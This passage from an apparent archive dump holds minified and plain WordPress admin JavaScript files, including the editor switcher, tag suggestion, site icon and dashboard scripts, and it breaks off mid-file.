this.h(b,!0)},getTriad:function(a){a=a||1;var b=120*a;return this.h(b,!0)},_partial:function(a){var c=d[a];return function(d,e){var f=this._spaceFunc("to",c.space);return d===b?f[a]:(!0===e&&(d=f[a]+d),c.mod&&(d%=c.mod),c.range&&(d=d<c.range[0]?c.range[0]:d>c.range[1]?c.range[1]:d),f[a]=d,this._spaceFunc("from",c.space,f))}},_spaceFunc:function(a,b,c){var d=b||this._hSpace;return this[a+d.charAt(0).toUpperCase()+d.substr(1)](c)}};var d={h:{mod:360},s:{range:[0,100]},l:{space:"hsl",range:[0,100]},v:{space:"hsv",range:[0,100]},r:{space:"rgb",range:[0,255]},g:{space:"rgb",range:[0,255]},b:{space:"rgb",range:[0,255]}};for(var e in d)d.hasOwnProperty(e)&&(c.fn[e]=c.fn._partial(e));"object"==typeof exports?module.exports=c:a.Color=c}(this); set-post-thumbnail.min.js 0000644 00000001154 15222552267 0011434 0 ustar 00 /*! This file is auto-generated */ window.WPSetAsThumbnail=function(n,t){var a=jQuery("a#wp-post-thumbnail-"+n);a.text(wp.i18n.__("Saving\u2026")),jQuery.post(ajaxurl,{action:"set-post-thumbnail",post_id:post_id,thumbnail_id:n,_ajax_nonce:t,cookie:encodeURIComponent(document.cookie)},function(t){var e=window.dialogArguments||opener||parent||top;a.text(wp.i18n.__("Use as featured image")),"0"==t?alert(wp.i18n.__("Could not set that as the thumbnail image. Try a different attachment.")):(jQuery("a.wp-post-thumbnail").show(),a.text(wp.i18n.__("Done")),a.fadeOut(2e3),e.WPSetThumbnailID(n),e.WPSetThumbnailHTML(t))})}; tags-suggest.min.js 0000644 00000004335 15222552267 0010316 0 ustar 00 /*! This file is auto-generated */ !function(s){var u=0,n=wp.i18n._x(",","tag delimiter")||",",t=wp.i18n.__,d=wp.i18n._n,l=wp.i18n.sprintf;function p(e){return e.split(new RegExp(n+"\\s*"))}s.fn.wpTagsSuggest=function(e){var i,o,a,r=s(this);return r.length&&(a=(e=e||{}).taxonomy||r.attr("data-wp-taxonomy")||"post_tag",delete e.taxonomy,e=s.extend({source:function(e,n){var t;o===e.term?n(i):(t=p(e.term).pop(),s.get(window.ajaxurl,{action:"ajax-tag-search",tax:a,q:t,number:20}).always(function(){r.removeClass("ui-autocomplete-loading")}).done(function(e){var t,o=[];if(e){for(t in e=e.split("\n")){var a=++u;o.push({id:a,name:e[t]})}n(i=o)}else n(o)}),o=e.term)},focus:function(e,t){r.attr("aria-activedescendant","wp-tags-autocomplete-"+t.item.id),e.preventDefault()},select:function(e,t){var o=p(r.val());return o.pop(),o.push(t.item.name,""),r.val(o.join(n+" ")),s.ui.keyCode.TAB===e.keyCode?(window.wp.a11y.speak(wp.i18n.__("Term selected."),"assertive"),e.preventDefault()):s.ui.keyCode.ENTER===e.keyCode&&(window.tagBox&&(window.tagBox.userAction="add",window.tagBox.flushTags(s(this).closest(".tagsdiv"))),e.preventDefault(),e.stopPropagation()),!1},open:function(){r.attr("aria-expanded","true")},close:function(){r.attr("aria-expanded","false")},minLength:2,position:{my:"left top+2",at:"left bottom",collision:"none"},messages:{noResults:t("No results found."),results:function(e){return l(d("%d result found. Use up and down arrow keys to navigate.","%d results found. Use up and down arrow keys to navigate.",e),e)}}},e),r.on("keydown",function(){r.removeAttr("aria-activedescendant")}),r.autocomplete(e),r.autocomplete("instance"))&&(r.autocomplete("instance")._renderItem=function(e,t){return s('<li role="option" id="wp-tags-autocomplete-'+t.id+'">').text(t.name).appendTo(e)},r.attr({role:"combobox","aria-autocomplete":"list","aria-expanded":"false","aria-owns":r.autocomplete("widget").attr("id")}).on("focus",function(){p(r.val()).pop()&&r.autocomplete("search")}),r.autocomplete("widget").addClass("wp-tags-autocomplete").attr("role","listbox").removeAttr("tabindex").on("menufocus",function(e,t){t.item.attr("aria-selected","true")}).on("menublur",function(){s(this).find('[aria-selected="true"]').removeAttr("aria-selected")})),this}}(jQuery); editor.min.js 0000644 00000031435 15222552267 0007170 0 ustar 00 /*! This file is auto-generated */ window.wp=window.wp||{},function(g,u){u.editor=u.editor||{},window.switchEditors=new function(){var v,x,t={};function e(){!v&&window.tinymce&&(v=window.tinymce,(x=v.$)(document).on("click",function(e){e=x(e.target);e.hasClass("wp-switch-editor")&&n(e.attr("data-wp-editor-id"),e.hasClass("switch-tmce")?"tmce":"html")}))}function E(e){e=x(".mce-toolbar-grp",e.getContainer())[0],e=e&&e.clientHeight;return e&&10<e&&e<200?parseInt(e,10):30}function n(e,t){t=t||"toggle";var n,r,i,a,o,c,s,d,p,l,g,u=v.get(e=e||"content"),w=x("#wp-"+e+"-wrap"),f=w.find(".switch-tmce"),m=w.find(".switch-html"),h=x("#"+e),b=h[0];if("tmce"===(t="toggle"===t?u&&!u.isHidden()?"html":"tmce":t)||"tinymce"===t){if(u&&!u.isHidden())return!1;void 0!==window.QTags&&window.QTags.closeAllTags(e),n=parseInt(b.style.height,10)||0,(o=h)&&o.length&&(o=o[0],s=function(e,t){var n=t.cursorStart,t=t.cursorEnd,r=y(e,n);r&&(n=-1!==["area","base","br","col","embed","hr","img","input","keygen","link","meta","param","source","track","wbr"].indexOf(r.tagType)?r.ltPos:r.gtPos);r=y(e,t);r&&(t=r.gtPos);r=S(e,n);r&&!r.showAsPlainText&&(n=r.urlAtStartOfContent?r.endIndex:r.startIndex);r=S(e,t);r&&!r.showAsPlainText&&(t=r.urlAtEndOfContent?r.startIndex:r.endIndex);return{cursorStart:n,cursorEnd:t}}(o.value,{cursorStart:o.selectionStart,cursorEnd:o.selectionEnd}),c=s.cursorStart,l=c!==(s=s.cursorEnd)?"range":"single",d=null,p=$(x,"").attr("data-mce-type","bookmark"),"range"==l&&(l=o.value.slice(c,s),g=p.clone().addClass("mce_SELRES_end"),d=[l,g[0].outerHTML].join("")),o.value=[o.value.slice(0,c),p.clone().addClass("mce_SELRES_start")[0].outerHTML,d,o.value.slice(s)].join("")),u?(u.show(),!v.Env.iOS&&n&&50<(n=n-E(u)+14)&&n<5e3&&u.theme.resizeTo(null,n),_(u)):v.init(window.tinyMCEPreInit.mceInit[e]),w.removeClass("html-active").addClass("tmce-active"),m.attr("aria-pressed",!1),f.attr("aria-pressed",!0),h.attr("aria-hidden",!0),window.setUserSetting("editor","tinymce")}else if("html"===t){if(u&&u.isHidden())return!1;u?(v.Env.iOS||(n=(l=u.iframeElement)?parseInt(l.style.height,10):0)&&50<(n=n+E(u)-14)&&n<5e3&&(b.style.height=n+"px"),g=null,g=function(e){var t,n,r,i,a,o,c,s=e.getWin().getSelection();if(s&&!(s.rangeCount<1))return c="SELRES_"+Math.random(),o=$(e.$,c),a=o.clone().addClass("mce_SELRES_start"),o=o.clone().addClass("mce_SELRES_end"),i=s.getRangeAt(0),t=i.startContainer,n=i.startOffset,r=i.cloneRange(),0<e.$(t).parents(".mce-offscreen-selection").length?(t=e.$("[data-mce-selected]")[0],a.attr("data-mce-object-selection","true"),o.attr("data-mce-object-selection","true"),e.$(t).before(a[0]),e.$(t).after(o[0])):(r.collapse(!1),r.insertNode(o[0]),r.setStart(t,n),r.collapse(!0),r.insertNode(a[0]),i.setStartAfter(a[0]),i.setEndBefore(o[0]),s.removeAllRanges(),s.addRange(i)),e.on("GetContent",k),t=R(e.getContent()),e.off("GetContent",k),a.remove(),o.remove(),n=new RegExp('<span[^>]*\\s*class="mce_SELRES_start"[^>]+>\\s*'+c+"[^<]*<\\/span>(\\s*)"),r=new RegExp('(\\s*)<span[^>]*\\s*class="mce_SELRES_end"[^>]+>\\s*'+c+"[^<]*<\\/span>"),s=t.match(n),i=t.match(r),s?(e=s.index,a=s[0].length,o=null,i&&(-1!==s[0].indexOf("data-mce-object-selection")&&(a-=s[1].length),c=i.index,-1!==i[0].indexOf("data-mce-object-selection")&&(c-=i[1].length),o=c-a),{start:e,end:o}):null}(u),u.hide(),g&&(c=u,p=g)&&(r=c.getElement(),i=p.start,a=p.end||p.start,r.focus)&&setTimeout(function(){r.setSelectionRange(i,a),r.blur&&r.blur(),r.focus()},100)):h.css({display:"",visibility:""}),w.removeClass("tmce-active").addClass("html-active"),m.attr("aria-pressed",!0),f.attr("aria-pressed",!1),h.attr("aria-hidden",!1),window.setUserSetting("editor","html")}}function y(e,t){var n,r=e.lastIndexOf("<",t-1);return(e.lastIndexOf(">",t)<r||">"===e.substr(t,1))&&(e=(t=e.substr(r)).match(/<\s*(\/)?(\w+|\!-{2}.*-{2})/))?(n=e[2],{ltPos:r,gtPos:r+t.indexOf(">")+1,tagType:n,isClosingTag:!!e[1]}):null}function S(e,t){for(var n=function(e){var t,n=function(e){var t=e.match(/\[+([\w_-])+/g),n=[];if(t)for(var r=0;r<t.length;r++){var i=t[r].replace(/^\[+/g,"");-1===n.indexOf(i)&&n.push(i)}return n}(e);if(0===n.length)return[];var r,i=u.shortcode.regexp(n.join("|")),a=[];for(;r=i.exec(e);){var o="["===r[1];t={shortcodeName:r[2],showAsPlainText:o,startIndex:r.index,endIndex:r.index+r[0].length,length:r[0].length},a.push(t)}var c=new RegExp('(^|[\\n\\r][\\n\\r]|<p>)(https?:\\/\\/[^s"]+?)(<\\/p>s*|[\\n\\r][\\n\\r]|$)',"gi");for(;r=c.exec(e);)t={shortcodeName:"url",showAsPlainText:!1,startIndex:r.index,endIndex:r.index+r[0].length,length:r[0].length,urlAtStartOfContent:""===r[1],urlAtEndOfContent:""===r[3]},a.push(t);return a}(e),r=0;r<n.length;r++){var i=n[r];if(t>=i.startIndex&&t<=i.endIndex)return i}}function $(e,t){return e("<span>").css({display:"inline-block",width:0,overflow:"hidden","line-height":0}).html(t||"")}function _(e){var t,n=e.$(".mce_SELRES_start").attr("data-mce-bogus",1),r=e.$(".mce_SELRES_end").attr("data-mce-bogus",1),i=(n.length&&(e.focus(),r.length?((i=e.getDoc().createRange()).setStartAfter(n[0]),i.setEndBefore(r[0]),e.selection.setRng(i)):e.selection.select(n[0])),e),a=n,a=i.$(a).offset().top,o=i.$(i.getContentAreaContainer()).offset().top,c=E(i),s=g("#wp-content-editor-tools"),d=0,p=0;s.length&&(d=s.height(),p=s.offset().top),s=window.innerHeight||document.documentElement.clientHeight||document.body.clientHeight,(o+=a)<(s-=d+c)||(c=i.settings.wp_autoresize_on?(t=g("html,body"),Math.max(o-s/2,p-d)):(t=g(i.contentDocument).find("html,body"),a),t.animate({scrollTop:parseInt(c,10)},100)),l(n),l(r),e.save()}function l(e){var t=e.parent();e.remove(),!t.is("p")||t.children().length||t.text()||t.remove()}function k(e){e.content=e.content.replace(/<p>(?:<br ?\/?>|\u00a0|\uFEFF| )*<\/p>/g,"<p> </p>")}function R(e){var t="blockquote|ul|ol|li|dl|dt|dd|table|thead|tbody|tfoot|tr|th|td|h[1-6]|fieldset|figure",n=t+"|div|p",t=t+"|pre",r=!1,i=!1,a=[];return e?(-1!==(e=-1===e.indexOf("<script")&&-1===e.indexOf("<style")?e:e.replace(/<(script|style)[^>]*>[\s\S]*?<\/\1>/g,function(e){return a.push(e),"<wp-preserve>"})).indexOf("<pre")&&(r=!0,e=e.replace(/<pre[^>]*>[\s\S]+?<\/pre>/g,function(e){return(e=(e=e.replace(/<br ?\/?>(\r\n|\n)?/g,"<wp-line-break>")).replace(/<\/?p( [^>]*)?>(\r\n|\n)?/g,"<wp-line-break>")).replace(/\r?\n/g,"<wp-line-break>")})),-1!==e.indexOf("[caption")&&(i=!0,e=e.replace(/\[caption[\s\S]+?\[\/caption\]/g,function(e){return e.replace(/<br([^>]*)>/g,"<wp-temp-br$1>").replace(/[\r\n\t]+/,"")})),e=(e=(e=(e=(e=-1!==(e=-1!==(e=-1!==(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=e.replace(new RegExp("\\s*</("+n+")>\\s*","g"),"</$1>\n")).replace(new RegExp("\\s*<((?:"+n+")(?: [^>]*)?)>","g"),"\n<$1>")).replace(/(<p [^>]+>.*?)<\/p>/g,"$1</p#>")).replace(/<div( [^>]*)?>\s*<p>/gi,"<div$1>\n\n")).replace(/\s*<p>/gi,"")).replace(/\s*<\/p>\s*/gi,"\n\n")).replace(/\n[\s\u00a0]+\n/g,"\n\n")).replace(/(\s*)<br ?\/?>\s*/gi,function(e,t){return t&&-1!==t.indexOf("\n")?"\n\n":"\n"})).replace(/\s*<div/g,"\n<div")).replace(/<\/div>\s*/g,"</div>\n")).replace(/\s*\[caption([^\[]+)\[\/caption\]\s*/gi,"\n\n[caption$1[/caption]\n\n")).replace(/caption\]\n\n+\[caption/g,"caption]\n\n[caption")).replace(new RegExp("\\s*<((?:"+t+")(?: [^>]*)?)\\s*>","g"),"\n<$1>")).replace(new RegExp("\\s*</("+t+")>\\s*","g"),"</$1>\n")).replace(/<((li|dt|dd)[^>]*)>/g," \t<$1>")).indexOf("<option")?(e=e.replace(/\s*<option/g,"\n<option")).replace(/\s*<\/select>/g,"\n</select>"):e).indexOf("<hr")?e.replace(/\s*<hr( [^>]*)?>\s*/g,"\n\n<hr$1>\n\n"):e).indexOf("<object")?e.replace(/<object[\s\S]+?<\/object>/g,function(e){return e.replace(/[\r\n]+/g,"")}):e).replace(/<\/p#>/g,"</p>\n")).replace(/\s*(<p [^>]+>[\s\S]*?<\/p>)/g,"\n$1")).replace(/^\s+/,"")).replace(/[\s\u00a0]+$/,""),r&&(e=e.replace(/<wp-line-break>/g,"\n")),i&&(e=e.replace(/<wp-temp-br([^>]*)>/g,"<br$1>")),a.length?e.replace(/<wp-preserve>/g,function(){return a.shift()}):e):""}function r(e){var t=!1,n=!1,r="table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|legend|section|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary";return-1===(e=(e=-1!==(e=e.replace(/\r\n|\r/g,"\n")).indexOf("<object")?e.replace(/<object[\s\S]+?<\/object>/g,function(e){return e.replace(/\n+/g,"")}):e).replace(/<[^<>]+>/g,function(e){return e.replace(/[\n\t ]+/g," ")})).indexOf("<pre")&&-1===e.indexOf("<script")||(t=!0,e=e.replace(/<(pre|script)[^>]*>[\s\S]*?<\/\1>/g,function(e){return e.replace(/\n/g,"<wp-line-break>")})),-1!==(e=-1!==e.indexOf("<figcaption")?(e=e.replace(/\s*(<figcaption[^>]*>)/g,"$1")).replace(/<\/figcaption>\s*/g,"</figcaption>"):e).indexOf("[caption")&&(n=!0,e=e.replace(/\[caption[\s\S]+?\[\/caption\]/g,function(e){return(e=(e=e.replace(/<br([^>]*)>/g,"<wp-temp-br$1>")).replace(/<[^<>]+>/g,function(e){return e.replace(/[\n\t ]+/," ")})).replace(/\s*\n\s*/g,"<wp-temp-br />")})),e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e+="\n\n").replace(/<br \/>\s*<br \/>/gi,"\n\n")).replace(new RegExp("(<(?:"+r+")(?: [^>]*)?>)","gi"),"\n\n$1")).replace(new RegExp("(</(?:"+r+")>)","gi"),"$1\n\n")).replace(/<hr( [^>]*)?>/gi,"<hr$1>\n\n")).replace(/\s*<option/gi,"<option")).replace(/<\/option>\s*/gi,"</option>")).replace(/\n\s*\n+/g,"\n\n")).replace(/([\s\S]+?)\n\n/g,"<p>$1</p>\n")).replace(/<p>\s*?<\/p>/gi,"")).replace(new RegExp("<p>\\s*(</?(?:"+r+")(?: [^>]*)?>)\\s*</p>","gi"),"$1")).replace(/<p>(<li.+?)<\/p>/gi,"$1")).replace(/<p>\s*<blockquote([^>]*)>/gi,"<blockquote$1><p>")).replace(/<\/blockquote>\s*<\/p>/gi,"</p></blockquote>")).replace(new RegExp("<p>\\s*(</?(?:"+r+")(?: [^>]*)?>)","gi"),"$1")).replace(new RegExp("(</?(?:"+r+")(?: [^>]*)?>)\\s*</p>","gi"),"$1")).replace(/(<br[^>]*>)\s*\n/gi,"$1")).replace(/\s*\n/g,"<br />\n")).replace(new RegExp("(</?(?:"+r+")[^>]*>)\\s*<br />","gi"),"$1")).replace(/<br \/>(\s*<\/?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)>)/gi,"$1")).replace(/(?:<p>|<br ?\/?>)*\s*\[caption([^\[]+)\[\/caption\]\s*(?:<\/p>|<br ?\/?>)*/gi,"[caption$1[/caption]")).replace(/(<(?:div|th|td|form|fieldset|dd)[^>]*>)(.*?)<\/p>/g,function(e,t,n){return n.match(/<p( [^>]*)?>/)?e:t+"<p>"+n+"</p>"}),t&&(e=e.replace(/<wp-line-break>/g,"\n")),e=n?e.replace(/<wp-temp-br([^>]*)>/g,"<br$1>"):e}function i(e){e={o:t,data:e,unfiltered:e};return g&&g("body").trigger("beforePreWpautop",[e]),e.data=R(e.data),g&&g("body").trigger("afterPreWpautop",[e]),e.data}function a(e){e={o:t,data:e,unfiltered:e};return g&&g("body").trigger("beforeWpautop",[e]),e.data=r(e.data),g&&g("body").trigger("afterWpautop",[e]),e.data}return g(document).on("tinymce-editor-init.keep-scroll-position",function(e,t){t.$(".mce_SELRES_start").length&&_(t)}),g?g(e):document.addEventListener?(document.addEventListener("DOMContentLoaded",e,!1),window.addEventListener("load",e,!1)):window.attachEvent&&(window.attachEvent("onload",e),document.attachEvent("onreadystatechange",function(){"complete"===document.readyState&&e()})),u.editor.autop=a,u.editor.removep=i,t={go:n,wpautop:a,pre_wpautop:i,_wp_Autop:r,_wp_Nop:R}},u.editor.initialize=function(e,t){var n,r,i,a,o,c,s,d,p;g&&e&&u.editor.getDefaultSettings&&(p=u.editor.getDefaultSettings(),(t=t||{tinymce:!0}).tinymce&&t.quicktags&&(r=g("#"+e),i=g("<div>").attr({class:"wp-core-ui wp-editor-wrap tmce-active",id:"wp-"+e+"-wrap"}),a=g('<div class="wp-editor-container">'),o=g("<button>").attr({type:"button","data-wp-editor-id":e}),c=g('<div class="wp-editor-tools">'),t.mediaButtons&&(s="Add Media",window._wpMediaViewsL10n&&window._wpMediaViewsL10n.addMedia&&(s=window._wpMediaViewsL10n.addMedia),(d=g('<button type="button" class="button insert-media add_media">')).append('<span class="wp-media-buttons-icon" aria-hidden="true"></span>'),d.append(document.createTextNode(" "+s)),d.data("editor",e),c.append(g('<div class="wp-media-buttons">').append(d))),i.append(c.append(g('<div class="wp-editor-tabs">').append(o.clone().attr({id:e+"-tmce",class:"wp-switch-editor switch-tmce"}).text(window.tinymce.translate("Visual"))).append(o.attr({id:e+"-html",class:"wp-switch-editor switch-html"}).text(window.tinymce.translate("Code|tab")))).append(a)),r.after(i),a.append(r)),window.tinymce&&t.tinymce&&("object"!=typeof t.tinymce&&(t.tinymce={}),(n=g.extend({},p.tinymce,t.tinymce)).selector="#"+e,g(document).trigger("wp-before-tinymce-init",n),window.tinymce.init(n),window.wpActiveEditor||(window.wpActiveEditor=e)),window.quicktags)&&t.quicktags&&("object"!=typeof t.quicktags&&(t.quicktags={}),(n=g.extend({},p.quicktags,t.quicktags)).id=e,g(document).trigger("wp-before-quicktags-init",n),window.quicktags(n),window.wpActiveEditor||(window.wpActiveEditor=n.id))},u.editor.remove=function(e){var t,n=g("#wp-"+e+"-wrap");window.tinymce&&(t=window.tinymce.get(e))&&(t.isHidden()||t.save(),t.remove()),window.quicktags&&(t=window.QTags.getInstance(e))&&t.remove(),n.length&&(n.after(g("#"+e)),n.remove())},u.editor.getContent=function(e){var t;if(g&&e)return window.tinymce&&(t=window.tinymce.get(e))&&!t.isHidden()&&t.save(),g("#"+e).val()}}(window.jQuery,window.wp); xfn.js 0000644 00000001344 15222552267 0005707 0 ustar 00 /** * Generates the XHTML Friends Network 'rel' string from the inputs. * * @deprecated 3.5.0 * @output wp-admin/js/xfn.js */ jQuery( function( $ ) { $( '#link_rel' ).prop( 'readonly', true ); $( '#linkxfndiv input' ).on( 'click keyup', function() { var isMe = $( '#me' ).is( ':checked' ), inputs = ''; $( 'input.valinp' ).each( function() { if ( isMe ) { $( this ).prop( 'disabled', true ).parent().addClass( 'disabled' ); } else { $( this ).removeAttr( 'disabled' ).parent().removeClass( 'disabled' ); if ( $( this ).is( ':checked' ) && $( this ).val() !== '') { inputs += $( this ).val() + ' '; } } }); $( '#link_rel' ).val( ( isMe ) ? 'me' : inputs.substr( 0,inputs.length - 1 ) ); }); }); accordion.min.js 0000644 00000001366 15222552267 0007643 0 ustar 00 /*! This file is auto-generated */ !function(s){s(function(){s(".accordion-container").on("click",".accordion-section-title button",function(){var n,o,e,a,t,i;n=s(this),o=n.closest(".accordion-section"),e=o.closest(".accordion-container"),a=e.find(".open"),t=a.find("[aria-expanded]").first(),i=o.find(".accordion-section-content"),o.hasClass("cannot-expand")||(e.addClass("opening"),o.hasClass("open")?(o.toggleClass("open"),i.toggle(!0).slideToggle(150)):(t.attr("aria-expanded","false"),a.removeClass("open"),a.find(".accordion-section-content").show().slideUp(150),i.toggle(!1).slideToggle(150),o.toggleClass("open")),setTimeout(function(){e.removeClass("opening")},150),n&&n.attr("aria-expanded",String("false"===n.attr("aria-expanded"))))})})}(jQuery); site-icon.min.js 0000644 00000004316 15222552267 0007572 0 ustar 00 /*! This file is auto-generated */ !function(t){var a,i=t("#choose-from-library-button"),s=t("#site-icon-preview"),r=t("#browser-icon-preview"),n=t("#app-icon-preview"),l=t("#site_icon_hidden_field"),o=t("#js-remove-site-icon");function c(t){var e=t.get("width"),t=t.get("height"),a=512,i=512,s=a/i,r=a,n=i;return s<e/t?a=(i=t)*s:i=(a=e)/s,{aspectRatio:a+":"+i,handles:!0,keys:!0,instance:!0,persistent:!0,imageWidth:e,imageHeight:t,minWidth:a<r?a:r,minHeight:i<n?i:n,x1:s=(e-a)/2,y1:r=(t-i)/2,x2:a+s,y2:i+r}}function d(t){var e,a=t.alt?(e=wp.i18n.sprintf(wp.i18n.__("App icon preview: Current image: %s"),t.alt),wp.i18n.sprintf(wp.i18n.__("Browser icon preview: Current image: %s"),t.alt)):(e=wp.i18n.sprintf(wp.i18n.__("App icon preview: The current image has no alternative text. The file name is: %s"),t.filename),wp.i18n.sprintf(wp.i18n.__("Browser icon preview: The current image has no alternative text. The file name is: %s"),t.filename));n.attr({src:t.url,alt:e}),r.attr({src:t.url,alt:a}),s.removeClass("hidden"),o.removeClass("hidden"),document.documentElement.style.setProperty("--site-icon-url","url("+t.url+")"),"1"!==i.attr("data-state")&&i.attr({class:i.attr("data-alt-classes"),"data-alt-classes":i.attr("class"),"data-state":"1"}),i.text(i.attr("data-update-text"))}i.on("click",function(){var e=t(this);(a=wp.media({button:{text:e.data("update"),close:!1},states:[new wp.media.controller.Library({title:e.data("choose-text"),library:wp.media.query({type:"image"}),date:!1,suggestedWidth:e.data("size"),suggestedHeight:e.data("size")}),new wp.media.controller.SiteIconCropper({control:{params:{width:e.data("size"),height:e.data("size")}},imgSelectOptions:c})]})).on("cropped",function(t){l.val(t.id),d(t),a.close(),a=null}),a.on("select",function(){var t=a.state().get("selection").first();t.attributes.height===e.data("size")&&e.data("size")===t.attributes.width?(d(t.attributes),a.close(),l.val(t.id)):a.setState("cropper")}),a.open()}),o.on("click",function(){l.val("false"),t(this).toggleClass("hidden"),s.toggleClass("hidden"),r.attr({src:"",alt:""}),n.attr({src:"",alt:""}),i.attr({class:i.attr("data-alt-classes"),"data-alt-classes":i.attr("class"),"data-state":""}).text(i.attr("data-choose-text")).trigger("focus")})}(jQuery); dashboard.min.js 0000644 00000021236 15222552267 0007627 0 ustar 00 /*! This file is auto-generated */ window.wp=window.wp||{},window.communityEventsData=window.communityEventsData||{},jQuery(function(s){var t,n=s("#welcome-panel"),e=s("#wp_welcome_panel-hide");t=function(e){s.post(ajaxurl,{action:"update-welcome-panel",visible:e,welcomepanelnonce:s("#welcomepanelnonce").val()},function(){wp.a11y.speak(wp.i18n.__("Screen Options updated."))})},n.hasClass("hidden")&&e.prop("checked")&&n.removeClass("hidden"),s(".welcome-panel-close, .welcome-panel-dismiss a",n).on("click",function(e){e.preventDefault(),n.addClass("hidden"),t(0),s("#wp_welcome_panel-hide").prop("checked",!1)}),e.on("click",function(){n.toggleClass("hidden",!this.checked),t(this.checked?1:0)}),window.ajaxWidgets=["dashboard_primary"],window.ajaxPopulateWidgets=function(e){function t(e,t){var n,o=s("#"+t+" div.inside:visible").find(".widget-loading");o.length&&(n=o.parent(),setTimeout(function(){n.load(ajaxurl+"?action=dashboard-widgets&widget="+t+"&pagenow="+pagenow,"",function(){n.hide().slideDown("normal",function(){s(this).css("display","")})})},500*e))}e?(e=e.toString(),-1!==s.inArray(e,ajaxWidgets)&&t(0,e)):s.each(ajaxWidgets,t)},ajaxPopulateWidgets(),postboxes.add_postbox_toggles(pagenow,{pbshow:ajaxPopulateWidgets}),window.quickPressLoad=function(){var t,n,o,i,a,e=s("#quickpost-action");s('#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]').prop("disabled",!1),t=s("#quick-press").on("submit",function(e){e.preventDefault(),s("#dashboard_quick_press #publishing-action .spinner").show(),s('#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]').prop("disabled",!0),s.post(t.attr("action"),t.serializeArray(),function(e){var t;s("#dashboard_quick_press .inside").html(e),s("#quick-press").removeClass("initial-form"),quickPressLoad(),(t=s(".drafts ul li").first()).css("background","#fffbe5"),setTimeout(function(){t.css("background","none")},1e3),s("#title").trigger("focus")})}),s("#publish").on("click",function(){e.val("post-quickpress-publish")}),s("#quick-press").on("click focusin",function(){wpActiveEditor="content"}),document.documentMode&&document.documentMode<9||(s("body").append('<div class="quick-draft-textarea-clone" style="display: none;"></div>'),n=s(".quick-draft-textarea-clone"),o=s("#content"),i=o.height(),a=s(window).height()-100,n.css({"font-family":o.css("font-family"),"font-size":o.css("font-size"),"line-height":o.css("line-height"),"padding-bottom":o.css("paddingBottom"),"padding-left":o.css("paddingLeft"),"padding-right":o.css("paddingRight"),"padding-top":o.css("paddingTop"),"white-space":"pre-wrap","word-wrap":"break-word",display:"none"}),o.on("focus input propertychange",function(){var e=s(this),t=e.val()+" ",t=n.css("width",e.css("width")).text(t).outerHeight()+2;o.css("overflow-y","auto"),t===i||a<=t&&a<=i||(i=a<t?a:t,o.css("overflow","hidden"),e.css("height",i+"px"))}))},window.quickPressLoad(),s(".meta-box-sortables").sortable("option","containment","#wpwrap")}),jQuery(function(c){"use strict";var r=window.communityEventsData,s=wp.date.dateI18n,m=wp.date.format,d=wp.i18n.sprintf,u=wp.i18n.__,l=wp.i18n._x,p=window.wp.communityEvents={initialized:!1,model:null,init:function(){var e;p.initialized||(e=c("#community-events"),c(".community-events-errors").attr("aria-hidden","true").removeClass("hide-if-js"),e.on("click",".community-events-toggle-location, .community-events-cancel",p.toggleLocationForm),e.on("submit",".community-events-form",function(e){var t=c("#community-events-location").val().trim();e.preventDefault(),t&&p.getEvents({location:t})}),r&&r.cache&&r.cache.location&&r.cache.events?p.renderEventsTemplate(r.cache,"app"):p.getEvents(),p.initialized=!0)},toggleLocationForm:function(e){var t=c(".community-events-toggle-location"),n=c(".community-events-cancel"),o=c(".community-events-form"),i=c();"object"==typeof e&&(i=c(e.target),e="true"==t.attr("aria-expanded")?"hide":"show"),"hide"===e?(t.attr("aria-expanded","false"),n.attr("aria-expanded","false"),o.attr("aria-hidden","true"),i.hasClass("community-events-cancel")&&t.trigger("focus")):(t.attr("aria-expanded","true"),n.attr("aria-expanded","true"),o.attr("aria-hidden","false"))},getEvents:function(t){var n,o=this,e=c(".community-events-form").children(".spinner");(t=t||{})._wpnonce=r.nonce,t.timezone=window.Intl?window.Intl.DateTimeFormat().resolvedOptions().timeZone:"",n=t.location?"user":"app",e.addClass("is-active"),wp.ajax.post("get-community-events",t).always(function(){e.removeClass("is-active")}).done(function(e){"no_location_available"===e.error&&(t.location?e.unknownCity=t.location:delete e.error),o.renderEventsTemplate(e,n)}).fail(function(){o.renderEventsTemplate({location:!1,events:[],error:!0},n)})},renderEventsTemplate:function(e,t){var n,o,i=c(".community-events-toggle-location"),a=c("#community-events-location-message"),s=c(".community-events-results");e.events=p.populateDynamicEventFields(e.events,r.time_format),o={".community-events":!0,".community-events-loading":!1,".community-events-errors":!1,".community-events-error-occurred":!1,".community-events-could-not-locate":!1,"#community-events-location-message":!1,".community-events-toggle-location":!1,".community-events-results":!1},e.location.ip?(a.text(u("Attend an upcoming event near you.")),n=e.events.length?wp.template("community-events-event-list"):wp.template("community-events-no-upcoming-events"),s.html(n(e)),o["#community-events-location-message"]=!0,o[".community-events-toggle-location"]=!0,o[".community-events-results"]=!0):e.location.description?(n=wp.template("community-events-attend-event-near"),a.html(n(e)),n=e.events.length?wp.template("community-events-event-list"):wp.template("community-events-no-upcoming-events"),s.html(n(e)),"user"===t&&wp.a11y.speak(d(u("City updated. Listing events near %s."),e.location.description),"assertive"),o["#community-events-location-message"]=!0,o[".community-events-toggle-location"]=!0,o[".community-events-results"]=!0):e.unknownCity?(n=wp.template("community-events-could-not-locate"),c(".community-events-could-not-locate").html(n(e)),wp.a11y.speak(d(u("We couldn\u2019t locate %s. Please try another nearby city. For example: Kansas City; Springfield; Portland."),e.unknownCity)),o[".community-events-errors"]=!0,o[".community-events-could-not-locate"]=!0):e.error&&"user"===t?(wp.a11y.speak(u("An error occurred. Please try again.")),o[".community-events-errors"]=!0,o[".community-events-error-occurred"]=!0):(a.text(u("Enter your closest city to find nearby 